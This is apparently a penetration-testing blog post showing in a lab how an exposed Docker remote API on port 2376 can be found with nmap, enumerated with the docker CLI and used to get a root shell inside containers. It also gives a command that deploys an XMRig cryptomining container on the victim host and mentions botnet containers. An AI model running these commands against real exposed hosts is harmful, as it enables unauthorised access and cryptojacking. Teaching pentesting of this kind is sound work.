/ penetration testing

Attacking Docker exposed API

Intro

Today we are going to explore some of the security risks associated with Docker, specifically we are going to examine the consequences of exposing the native Docker API to the external world.
By default when you install docker on a host, you can access the docker API only from the loopback interface. This is great but apparently for some reasons you might want to expose those APIs in order to use some external tool like Portainer.
Portainer is a lightweight docker management UI, you can run it locally attaching it to the docker socket or you can manage the containers hosted to a remote host.

Schermata-del-2018-08-10-16-26-13

In order to explain the attack I build a very simple lab:

  • The host machine: Ubuntu 16.04 LTS
  • The newest version of Docker CE installed on it
  • The debian container pulled into the host machine

The lab setup is very easy, I used Vagrant to spin up my Ubuntu VM and the docker commands are quite easy, so I'm not going explain them.

To replicate this attack, you'll need to expose the docker API.
To do that I followed this tutorial.
All you have to do is create a file at https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd with the following content:

# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376

then reload the unit files with:

sudo systemctl daemon-reload

and finally restarting the docker service:

sudo systemctl restart docker.service

now you should see the dockerd process listening on port 2376, to verify that:

vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
tcp6       0      0 :::2376                 :::*                    LISTEN      4504/dockerd    
vagrant@ubuntu-xenial:~$ 

Information Gathering & Enumeration

Now let's assume the prospective of an attacker (the funny moment)
We don't know anything about the host, so let's begin with a port scan:

sudo nmap -sS -T5 192.168.1.7 -p-

Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
2376/tcp open  docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)

I had to scan more ports that the default top 1000 because the docker API port is not included :(
Ok then, what about service detection?

nmap -sTV -p 2376 192.168.1.7

Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT     STATE SERVICE    VERSION
2376/tcp open  18.06.0-ce Docker

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds

This confirm that we are dealing with Docker, nmap also discovered the exact version of Docker, if we want to confirm it manyally we can issue a GET request to the endpoint located at: http://<IP>:2376/version

Schermata-del-2018-08-10-16-47-32

NOTE: Claudio Criscione wrote a nmap script to do this (His GitHub page)

The last thing we want to do is to test the exposed API using the docker CLI (that you must have installed on your attacking box)
The syntax is quite easy:

docker -H <host>:<port> info

Schermata-del-2018-08-10-16-53-10
Bingo, we can access the docker API with the docker CLI.

What to do from here

Let's explore some of the possibilities we now have , what can we do with those APIs?

Gathering informations

Well, before attacking the host and the containers inside it we may want to gather some informations:

  • Are there some containers running?
    • docker -H 192.168.1.7:2376 ps
  • Are there some stopped containers?
    • docker -H 192.168.1.7:2376 ps -a
  • What are the images pulled on the host machine?
    • docker -H 192.168.1.7:2376 images
    • Inspect those images, there could be images with juicy infos, maybe you could run those images and access them.

In this scenario we found a running debian container:

Schermata-del-2018-08-10-16-59-19

Accessing the container

Spawning a shell inside a container is done via the exec command, in this case we may want to spawn a bash shell:

docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash

Schermata-del-2018-08-10-17-04-02
Why are we already root? Easy, the default user inside a container is root, quick win.
Once inside a container we can start digging for some useful information, the questions you have to answer are:

  • Is this container alone? Are there some other containers running? Was Compose used for the deploy?
  • What is this container's purpose? A web app? A backend? A database?
    • Depending on the purpose, you may want to look for configuration files with DB credentials and so on
  • Do you think that the sysadmin/devops used some kind of automatic configuration management tools like ansible, salt or anything like that?
    • If so, look for specific config files (google is your friend)
    • If you are lucky enough, you could own the entire app stack with few clicks!
  • Examine the code of the app inside the container if you can, can you determine if there are other interesting services like KV store, cache service?

Launching other containers

A funny thing that you can do is launch other containers, this is not very stealthy but can be useful.
Following the cryptomining trend, this blog post explains how to mine monero with docker:
https://getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html
You can have a look inside the Dockerfile at this link from DockerHub.
Easly you could launch a mining container with the following command:

docker -H 192.168.1.7:2376 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig -o POOL01 -o POOL02 -u WALLET -p PASSWORD -k

voilĂ , mining with Docker.
Another option could be launch a botnet container, cheap zombies around the internet.

Is this a real threat?

You may think, who the hell leaves docker API exposed to the internet?
First, you could encounter this into an internal pentest, so this could be still useful.
Let's ask our loyal fiend Shodan if this is a problem:

Schermata-del-2018-08-10-17-25-01

760 open Docker APIs. We could do some serious trouble.

Conclusions and further work

In this post we examined some of the threats associated with Docker.
Docker is a really powerful engine that saved lives of many developers (included me), but with a great power comes a great responsability.
Leaving Docker APIs exposed to the internet could lead to some troubles like data loss, cryptomining, botnet and so on.
I just started to dig into this world, in the future I will focus on other modern technologies like Kubernetes.
Software development changed, so pentesting should change and adapt too.
New technologies, new attacks, new threats, what a great time to be alive!

Have a nice hacking day!